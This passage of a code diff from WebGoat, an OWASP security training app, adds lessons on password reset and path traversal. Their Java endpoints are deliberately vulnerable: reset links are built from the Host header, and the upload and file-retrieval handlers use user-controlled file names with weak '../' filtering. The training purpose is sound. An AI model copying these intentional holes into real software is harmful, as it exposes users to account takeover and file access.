modelAndView; + } + if (!resetLinks.contains(form.getResetLink())) { + modelAndView.setViewName("password_link_not_found"); + return modelAndView; + } + if (checkIfLinkIsFromTom(form.getResetLink())) { + usersToTomPassword.put(getWebSession().getUserName(), form.getPassword()); + } + modelAndView.setViewName("lessons/passwordreset/templates/success.html"); + return modelAndView; + } + + private boolean checkIfLinkIsFromTom(String resetLinkFromForm) { + String resetLink = userToTomResetLink.getOrDefault(getWebSession().getUserName(), "unknown"); + return resetLink.equals(resetLinkFromForm); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/passwordreset/ResetLinkAssignmentForgotPassword.java b/src/main/java/org/owasp/webgoat/lessons/passwordreset/ResetLinkAssignmentForgotPassword.java new file mode 100644 index 000000000..34b8ee856 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/passwordreset/ResetLinkAssignmentForgotPassword.java @@ -0,0 +1,114 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.passwordreset; + +import java.util.UUID; +import javax.servlet.http.HttpServletRequest; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.http.HttpEntity; +import org.springframework.http.HttpHeaders; +import org.springframework.http.HttpMethod; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.client.RestTemplate; + +/** + * Part of the password reset assignment. Used to send the e-mail. + * + * @author nbaars + * @since 8/20/17. + */ +@RestController +public class ResetLinkAssignmentForgotPassword extends AssignmentEndpoint { + + private final RestTemplate restTemplate; + private String webWolfHost; + private String webWolfPort; + private final String webWolfMailURL; + + public ResetLinkAssignmentForgotPassword( + RestTemplate restTemplate, + @Value("${webwolf.host}") String webWolfHost, + @Value("${webwolf.port}") String webWolfPort, + @Value("${webwolf.mail.url}") String webWolfMailURL) { + this.restTemplate = restTemplate; + this.webWolfHost = webWolfHost; + this.webWolfPort = webWolfPort; + this.webWolfMailURL = webWolfMailURL; + } + + @PostMapping("/PasswordReset/ForgotPassword/create-password-reset-link") + @ResponseBody + public AttackResult sendPasswordResetLink( + @RequestParam String email, HttpServletRequest request) { + String resetLink = UUID.randomUUID().toString(); + ResetLinkAssignment.resetLinks.add(resetLink); + String host = request.getHeader("host"); + if (ResetLinkAssignment.TOM_EMAIL.equals(email) + && (host.contains(webWolfPort) + || host.contains(webWolfHost))) { // User indeed changed the host header. + ResetLinkAssignment.userToTomResetLink.put(getWebSession().getUserName(), resetLink); + fakeClickingLinkEmail(host, resetLink); + } else { + try { + sendMailToUser(email, host, resetLink); + } catch (Exception e) { + return failed(this).output("E-mail can't be send. please try again.").build(); + } + } + + return success(this).feedback("email.send").feedbackArgs(email).build(); + } + + private void sendMailToUser(String email, String host, String resetLink) { + int index = email.indexOf("@"); + String username = email.substring(0, index == -1 ? email.length() : index); + PasswordResetEmail mail = + PasswordResetEmail.builder() + .title("Your password reset link") + .contents(String.format(ResetLinkAssignment.TEMPLATE, host, resetLink)) + .sender("password-reset@webgoat-cloud.net") + .recipient(username) + .build(); + this.restTemplate.postForEntity(webWolfMailURL, mail, Object.class); + } + + private void fakeClickingLinkEmail(String host, String resetLink) { + try { + HttpHeaders httpHeaders = new HttpHeaders(); + HttpEntity httpEntity = new HttpEntity(httpHeaders); + new RestTemplate() + .exchange( + String.format("http://%s/PasswordReset/reset/reset-password/%s", host, resetLink), + HttpMethod.GET, + httpEntity, + Void.class); + } catch (Exception e) { + // don't care + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/passwordreset/SecurityQuestionAssignment.java b/src/main/java/org/owasp/webgoat/lessons/passwordreset/SecurityQuestionAssignment.java new file mode 100644 index 000000000..044689717 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/passwordreset/SecurityQuestionAssignment.java @@ -0,0 +1,108 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.passwordreset; + +import static java.util.Optional.of; + +import java.util.HashMap; +import java.util.Map; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * Assignment for picking a good security question. + * + * @author Tobias Melzer + * @since 11.12.18 + */ +@RestController +public class SecurityQuestionAssignment extends AssignmentEndpoint { + + @Autowired private TriedQuestions triedQuestions; + + private static Map questions; + + static { + questions = new HashMap<>(); + questions.put( + "What is your favorite animal?", + "The answer can easily be guessed and figured out through social media."); + questions.put("In what year was your mother born?", "Can be easily guessed."); + questions.put( + "What was the time you were born?", + "This may first seem like a good question, but you most likely dont know the exact time, so" + + " it might be hard to remember."); + questions.put( + "What is the name of the person you first kissed?", + "Can be figured out through social media, or even guessed by trying the most common" + + " names."); + questions.put( + "What was the house number and street name you lived in as a child?", + "Answer can be figured out through social media, or worse it might be your current" + + " address."); + questions.put( + "In what town or city was your first full time job?", + "In times of LinkedIn and Facebook, the answer can be figured out quite easily."); + questions.put("In what city were you born?", "Easy to figure out through social media."); + questions.put( + "What was the last name of your favorite teacher in grade three?", + "Most people would probably not know the answer to that."); + questions.put( + "What is the name of a college/job you applied to but didn't attend?", + "It might not be easy to remember and an hacker could just try some company's/colleges in" + + " your area."); + questions.put( + "What are the last 5 digits of your drivers license?", + "Is subject to change, and the last digit of your driver license might follow a specific" + + " pattern. (For example your birthday)."); + questions.put("What was your childhood nickname?", "Not all people had a nickname."); + questions.put( + "Who was your childhood hero?", + "Most Heroes we had as a child where quite obvious ones, like Superman for example."); + questions.put( + "On which wrist do you wear your watch?", + "There are only to possible real answers, so really easy to guess."); + questions.put("What is your favorite color?", "Can easily be guessed."); + } + + @PostMapping("/PasswordReset/SecurityQuestions") + @ResponseBody + public AttackResult completed(@RequestParam String question) { + var answer = of(questions.get(question)); + if (answer.isPresent()) { + triedQuestions.incr(question); + if (triedQuestions.isComplete()) { + return success(this).output("" + answer + "").build(); + } + } + return informationMessage(this) + .feedback("password-questions-one-successful") + .output(answer.orElse("Unknown question, please try again...")) + .build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/passwordreset/SimpleMailAssignment.java b/src/main/java/org/owasp/webgoat/lessons/passwordreset/SimpleMailAssignment.java new file mode 100644 index 000000000..656732183 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/passwordreset/SimpleMailAssignment.java @@ -0,0 +1,117 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.passwordreset; + +import static java.util.Optional.ofNullable; + +import java.time.LocalDateTime; +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.client.RestClientException; +import org.springframework.web.client.RestTemplate; + +/** + * @author nbaars + * @since 8/20/17. + */ +@RestController +public class SimpleMailAssignment extends AssignmentEndpoint { + + private final String webWolfURL; + private RestTemplate restTemplate; + + public SimpleMailAssignment( + RestTemplate restTemplate, @Value("${webwolf.mail.url}") String webWolfURL) { + this.restTemplate = restTemplate; + this.webWolfURL = webWolfURL; + } + + @PostMapping( + path = "/PasswordReset/simple-mail", + consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE) + @ResponseBody + public AttackResult login(@RequestParam String email, @RequestParam String password) { + String emailAddress = ofNullable(email).orElse("unknown@webgoat.org"); + String username = extractUsername(emailAddress); + + if (username.equals(getWebSession().getUserName()) + && StringUtils.reverse(username).equals(password)) { + return success(this).build(); + } else { + return failed(this).feedbackArgs("password-reset-simple.password_incorrect").build(); + } + } + + @PostMapping( + consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE, + value = "/PasswordReset/simple-mail/reset") + @ResponseBody + public AttackResult resetPassword(@RequestParam String emailReset) { + String email = ofNullable(emailReset).orElse("unknown@webgoat.org"); + return sendEmail(extractUsername(email), email); + } + + private String extractUsername(String email) { + int index = email.indexOf("@"); + return email.substring(0, index == -1 ? email.length() : index); + } + + private AttackResult sendEmail(String username, String email) { + if (username.equals(getWebSession().getUserName())) { + PasswordResetEmail mailEvent = + PasswordResetEmail.builder() + .recipient(username) + .title("Simple e-mail assignment") + .time(LocalDateTime.now()) + .contents( + "Thanks for resetting your password, your new password is: " + + StringUtils.reverse(username)) + .sender("webgoat@owasp.org") + .build(); + try { + restTemplate.postForEntity(webWolfURL, mailEvent, Object.class); + } catch (RestClientException e) { + return informationMessage(this) + .feedback("password-reset-simple.email_failed") + .output(e.getMessage()) + .build(); + } + return informationMessage(this) + .feedback("password-reset-simple.email_send") + .feedbackArgs(email) + .build(); + } else { + return informationMessage(this) + .feedback("password-reset-simple.email_mismatch") + .feedbackArgs(username) + .build(); + } + } +} diff --git a/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/TriedQuestions.java b/src/main/java/org/owasp/webgoat/lessons/passwordreset/TriedQuestions.java similarity index 82% rename from webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/TriedQuestions.java rename to src/main/java/org/owasp/webgoat/lessons/passwordreset/TriedQuestions.java index c873328c7..d8f04167a 100644 --- a/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/TriedQuestions.java +++ b/src/main/java/org/owasp/webgoat/lessons/passwordreset/TriedQuestions.java @@ -20,25 +20,24 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.password_reset; - -import org.springframework.stereotype.Component; -import org.springframework.web.context.annotation.SessionScope; +package org.owasp.webgoat.lessons.passwordreset; import java.util.HashSet; import java.util.Set; +import org.springframework.stereotype.Component; +import org.springframework.web.context.annotation.SessionScope; @Component @SessionScope public class TriedQuestions { - private Set answeredQuestions = new HashSet<>(); + private Set answeredQuestions = new HashSet<>(); - public void incr(String question) { - answeredQuestions.add(question); - } + public void incr(String question) { + answeredQuestions.add(question); + } - public boolean isComplete() { - return answeredQuestions.size() > 1; - } + public boolean isComplete() { + return answeredQuestions.size() > 1; + } } diff --git a/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/resetlink/PasswordChangeForm.java b/src/main/java/org/owasp/webgoat/lessons/passwordreset/resetlink/PasswordChangeForm.java similarity index 60% rename from webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/resetlink/PasswordChangeForm.java rename to src/main/java/org/owasp/webgoat/lessons/passwordreset/resetlink/PasswordChangeForm.java index d9ab5f71a..604c51fd3 100644 --- a/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/resetlink/PasswordChangeForm.java +++ b/src/main/java/org/owasp/webgoat/lessons/passwordreset/resetlink/PasswordChangeForm.java @@ -1,10 +1,9 @@ -package org.owasp.webgoat.password_reset.resetlink; - -import lombok.Getter; -import lombok.Setter; +package org.owasp.webgoat.lessons.passwordreset.resetlink; import javax.validation.constraints.NotNull; import javax.validation.constraints.Size; +import lombok.Getter; +import lombok.Setter; /** * @author nbaars @@ -14,9 +13,9 @@ import javax.validation.constraints.Size; @Setter public class PasswordChangeForm { - @NotNull - @Size(min = 6, max = 10) - private String password; - private String resetLink; + @NotNull + @Size(min = 6, max = 10) + private String password; + private String resetLink; } diff --git a/webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/PathTraversal.java b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/PathTraversal.java similarity index 78% rename from webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/PathTraversal.java rename to src/main/java/org/owasp/webgoat/lessons/pathtraversal/PathTraversal.java index 2a991bf2f..ef61ae901 100644 --- a/webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/PathTraversal.java +++ b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/PathTraversal.java @@ -20,22 +20,22 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.path_traversal; +package org.owasp.webgoat.lessons.pathtraversal; -import org.owasp.webgoat.lessons.Category; -import org.owasp.webgoat.lessons.Lesson; +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; @Component public class PathTraversal extends Lesson { - @Override - public Category getDefaultCategory() { - return Category.INJECTION; - } + @Override + public Category getDefaultCategory() { + return Category.A3; + } - @Override - public String getTitle() { - return "path-traversal-title"; - } + @Override + public String getTitle() { + return "path-traversal-title"; + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUpload.java b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUpload.java new file mode 100644 index 000000000..6c76cede7 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUpload.java @@ -0,0 +1,47 @@ +package org.owasp.webgoat.lessons.pathtraversal; + +import static org.springframework.http.MediaType.ALL_VALUE; +import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; + +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.multipart.MultipartFile; + +@RestController +@AssignmentHints({ + "path-traversal-profile.hint1", + "path-traversal-profile.hint2", + "path-traversal-profile.hint3" +}) +public class ProfileUpload extends ProfileUploadBase { + + public ProfileUpload( + @Value("${webgoat.server.directory}") String webGoatHomeDirectory, WebSession webSession) { + super(webGoatHomeDirectory, webSession); + } + + @PostMapping( + value = "/PathTraversal/profile-upload", + consumes = ALL_VALUE, + produces = APPLICATION_JSON_VALUE) + @ResponseBody + public AttackResult uploadFileHandler( + @RequestParam("uploadedFile") MultipartFile file, + @RequestParam(value = "fullName", required = false) String fullName) { + return super.execute(file, fullName); + } + + @GetMapping("/PathTraversal/profile-picture") + @ResponseBody + public ResponseEntity getProfilePicture() { + return super.getProfilePicture(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadBase.java b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadBase.java new file mode 100644 index 000000000..131f1674a --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadBase.java @@ -0,0 +1,122 @@ +package org.owasp.webgoat.lessons.pathtraversal; + +import java.io.File; +import java.io.FileInputStream; +import java.io.IOException; +import java.nio.file.Files; +import java.util.Arrays; +import java.util.Base64; +import java.util.List; +import lombok.AllArgsConstructor; +import lombok.Getter; +import lombok.SneakyThrows; +import org.apache.commons.io.FilenameUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.util.FileCopyUtils; +import org.springframework.util.FileSystemUtils; +import org.springframework.util.StringUtils; +import org.springframework.web.multipart.MultipartFile; + +@AllArgsConstructor +@Getter +public class ProfileUploadBase extends AssignmentEndpoint { + + private String webGoatHomeDirectory; + private WebSession webSession; + + protected AttackResult execute(MultipartFile file, String fullName) { + if (file.isEmpty()) { + return failed(this).feedback("path-traversal-profile-empty-file").build(); + } + if (StringUtils.isEmpty(fullName)) { + return failed(this).feedback("path-traversal-profile-empty-name").build(); + } + + File uploadDirectory = cleanupAndCreateDirectoryForUser(); + + try { + var uploadedFile = new File(uploadDirectory, fullName); + uploadedFile.createNewFile(); + FileCopyUtils.copy(file.getBytes(), uploadedFile); + + if (attemptWasMade(uploadDirectory, uploadedFile)) { + return solvedIt(uploadedFile); + } + return informationMessage(this) + .feedback("path-traversal-profile-updated") + .feedbackArgs(uploadedFile.getAbsoluteFile()) + .build(); + + } catch (IOException e) { + return failed(this).output(e.getMessage()).build(); + } + } + + @SneakyThrows + protected File cleanupAndCreateDirectoryForUser() { + var uploadDirectory = + new File(this.webGoatHomeDirectory, "/PathTraversal/" + webSession.getUserName()); + if (uploadDirectory.exists()) { + FileSystemUtils.deleteRecursively(uploadDirectory); + } + Files.createDirectories(uploadDirectory.toPath()); + return uploadDirectory; + } + + private boolean attemptWasMade(File expectedUploadDirectory, File uploadedFile) + throws IOException { + return !expectedUploadDirectory + .getCanonicalPath() + .equals(uploadedFile.getParentFile().getCanonicalPath()); + } + + private AttackResult solvedIt(File uploadedFile) throws IOException { + if (uploadedFile.getCanonicalFile().getParentFile().getName().endsWith("PathTraversal")) { + return success(this).build(); + } + return failed(this) + .attemptWasMade() + .feedback("path-traversal-profile-attempt") + .feedbackArgs(uploadedFile.getCanonicalPath()) + .build(); + } + + public ResponseEntity getProfilePicture() { + return ResponseEntity.ok() + .contentType(MediaType.parseMediaType(MediaType.IMAGE_JPEG_VALUE)) + .body(getProfilePictureAsBase64()); + } + + protected byte[] getProfilePictureAsBase64() { + var profilePictureDirectory = + new File(this.webGoatHomeDirectory, "/PathTraversal/" + webSession.getUserName()); + var profileDirectoryFiles = profilePictureDirectory.listFiles(); + + if (profileDirectoryFiles != null && profileDirectoryFiles.length > 0) { + return Arrays.stream(profileDirectoryFiles) + .filter(file -> FilenameUtils.isExtension(file.getName(), List.of("jpg", "png"))) + .findFirst() + .map( + file -> { + try (var inputStream = new FileInputStream(profileDirectoryFiles[0])) { + return Base64.getEncoder().encode(FileCopyUtils.copyToByteArray(inputStream)); + } catch (IOException e) { + return defaultImage(); + } + }) + .orElse(defaultImage()); + } else { + return defaultImage(); + } + } + + @SneakyThrows + protected byte[] defaultImage() { + var inputStream = getClass().getResourceAsStream("/images/account.png"); + return Base64.getEncoder().encode(FileCopyUtils.copyToByteArray(inputStream)); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadFix.java b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadFix.java new file mode 100644 index 000000000..90c0589b9 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadFix.java @@ -0,0 +1,47 @@ +package org.owasp.webgoat.lessons.pathtraversal; + +import static org.springframework.http.MediaType.ALL_VALUE; +import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; + +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.multipart.MultipartFile; + +@RestController +@AssignmentHints({ + "path-traversal-profile-fix.hint1", + "path-traversal-profile-fix.hint2", + "path-traversal-profile-fix.hint3" +}) +public class ProfileUploadFix extends ProfileUploadBase { + + public ProfileUploadFix( + @Value("${webgoat.server.directory}") String webGoatHomeDirectory, WebSession webSession) { + super(webGoatHomeDirectory, webSession); + } + + @PostMapping( + value = "/PathTraversal/profile-upload-fix", + consumes = ALL_VALUE, + produces = APPLICATION_JSON_VALUE) + @ResponseBody + public AttackResult uploadFileHandler( + @RequestParam("uploadedFileFix") MultipartFile file, + @RequestParam(value = "fullNameFix", required = false) String fullName) { + return super.execute(file, fullName != null ? fullName.replace("../", "") : ""); + } + + @GetMapping("/PathTraversal/profile-picture-fix") + @ResponseBody + public ResponseEntity getProfilePicture() { + return super.getProfilePicture(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadRemoveUserInput.java b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadRemoveUserInput.java new file mode 100644 index 000000000..95971df26 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadRemoveUserInput.java @@ -0,0 +1,38 @@ +package org.owasp.webgoat.lessons.pathtraversal; + +import static org.springframework.http.MediaType.ALL_VALUE; +import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; + +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.multipart.MultipartFile; + +@RestController +@AssignmentHints({ + "path-traversal-profile-remove-user-input.hint1", + "path-traversal-profile-remove-user-input.hint2", + "path-traversal-profile-remove-user-input.hint3" +}) +public class ProfileUploadRemoveUserInput extends ProfileUploadBase { + + public ProfileUploadRemoveUserInput( + @Value("${webgoat.server.directory}") String webGoatHomeDirectory, WebSession webSession) { + super(webGoatHomeDirectory, webSession); + } + + @PostMapping( + value = "/PathTraversal/profile-upload-remove-user-input", + consumes = ALL_VALUE, + produces = APPLICATION_JSON_VALUE) + @ResponseBody + public AttackResult uploadFileHandler( + @RequestParam("uploadedFileRemoveUserInput") MultipartFile file) { + return super.execute(file, file.getOriginalFilename()); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadRetrieval.java b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadRetrieval.java new file mode 100644 index 000000000..f52bed34a --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadRetrieval.java @@ -0,0 +1,116 @@ +package org.owasp.webgoat.lessons.pathtraversal; + +import java.io.File; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.net.URI; +import java.net.URISyntaxException; +import java.nio.file.Files; +import java.util.Base64; +import javax.annotation.PostConstruct; +import javax.servlet.http.HttpServletRequest; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.lang3.RandomUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.core.io.ClassPathResource; +import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.security.core.token.Sha512DigestUtils; +import org.springframework.util.FileCopyUtils; +import org.springframework.util.StringUtils; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({ + "path-traversal-profile-retrieve.hint1", + "path-traversal-profile-retrieve.hint2", + "path-traversal-profile-retrieve.hint3", + "path-traversal-profile-retrieve.hint4", + "path-traversal-profile-retrieve.hint5", + "path-traversal-profile-retrieve.hint6" +}) +@Slf4j +public class ProfileUploadRetrieval extends AssignmentEndpoint { + + private final File catPicturesDirectory; + + public ProfileUploadRetrieval(@Value("${webgoat.server.directory}") String webGoatHomeDirectory) { + this.catPicturesDirectory = new File(webGoatHomeDirectory, "/PathTraversal/" + "/cats"); + this.catPicturesDirectory.mkdirs(); + } + + @PostConstruct + public void initAssignment() { + for (int i = 1; i <= 10; i++) { + try (InputStream is = + new ClassPathResource("lessons/pathtraversal/images/cats/" + i + ".jpg") + .getInputStream()) { + FileCopyUtils.copy(is, new FileOutputStream(new File(catPicturesDirectory, i + ".jpg"))); + } catch (Exception e) { + log.error("Unable to copy pictures" + e.getMessage()); + } + } + var secretDirectory = this.catPicturesDirectory.getParentFile().getParentFile(); + try { + Files.writeString( + secretDirectory.toPath().resolve("path-traversal-secret.jpg"), + "You found it submit the SHA-512 hash of your username as answer"); + } catch (IOException e) { + log.error("Unable to write secret in: {}", secretDirectory, e); + } + } + + @PostMapping("/PathTraversal/random") + @ResponseBody + public AttackResult execute(@RequestParam(value = "secret", required = false) String secret) { + if (Sha512DigestUtils.shaHex(getWebSession().getUserName()).equalsIgnoreCase(secret)) { + return success(this).build(); + } + return failed(this).build(); + } + + @GetMapping("/PathTraversal/random-picture") + @ResponseBody + public ResponseEntity getProfilePicture(HttpServletRequest request) { + var queryParams = request.getQueryString(); + if (queryParams != null && (queryParams.contains("..") || queryParams.contains("/"))) { + return ResponseEntity.badRequest() + .body("Illegal characters are not allowed in the query params"); + } + try { + var id = request.getParameter("id"); + var catPicture = + new File(catPicturesDirectory, (id == null ? RandomUtils.nextInt(1, 11) : id) + ".jpg"); + + if (catPicture.getName().toLowerCase().contains("path-traversal-secret.jpg")) { + return ResponseEntity.ok() + .contentType(MediaType.parseMediaType(MediaType.IMAGE_JPEG_VALUE)) + .body(FileCopyUtils.copyToByteArray(catPicture)); + } + if (catPicture.exists()) { + return ResponseEntity.ok() + .contentType(MediaType.parseMediaType(MediaType.IMAGE_JPEG_VALUE)) + .location(new URI("/PathTraversal/random-picture?id=" + catPicture.getName())) + .body(Base64.getEncoder().encode(FileCopyUtils.copyToByteArray(catPicture))); + } + return ResponseEntity.status(HttpStatus.NOT_FOUND) + .location(new URI("/PathTraversal/random-picture?id=" + catPicture.getName())) + .body( + StringUtils.arrayToCommaDelimitedString(catPicture.getParentFile().listFiles()) + .getBytes()); + } catch (IOException | URISyntaxException e) { + log.error("Image not found", e); + } + + return ResponseEntity.badRequest().build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileZipSlip.java b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileZipSlip.java new file mode 100644 index 000000000..49c7b15c3 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileZipSlip.java @@ -0,0 +1,102 @@ +package org.owasp.webgoat.lessons.pathtraversal; + +import static org.springframework.http.MediaType.ALL_VALUE; +import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; + +import java.io.File; +import java.io.IOException; +import java.io.InputStream; +import java.nio.file.Files; +import java.nio.file.StandardCopyOption; +import java.util.Arrays; +import java.util.Enumeration; +import java.util.zip.ZipEntry; +import java.util.zip.ZipFile; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.http.ResponseEntity; +import org.springframework.util.FileCopyUtils; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.multipart.MultipartFile; + +@RestController +@AssignmentHints({ + "path-traversal-zip-slip.hint1", + "path-traversal-zip-slip.hint2", + 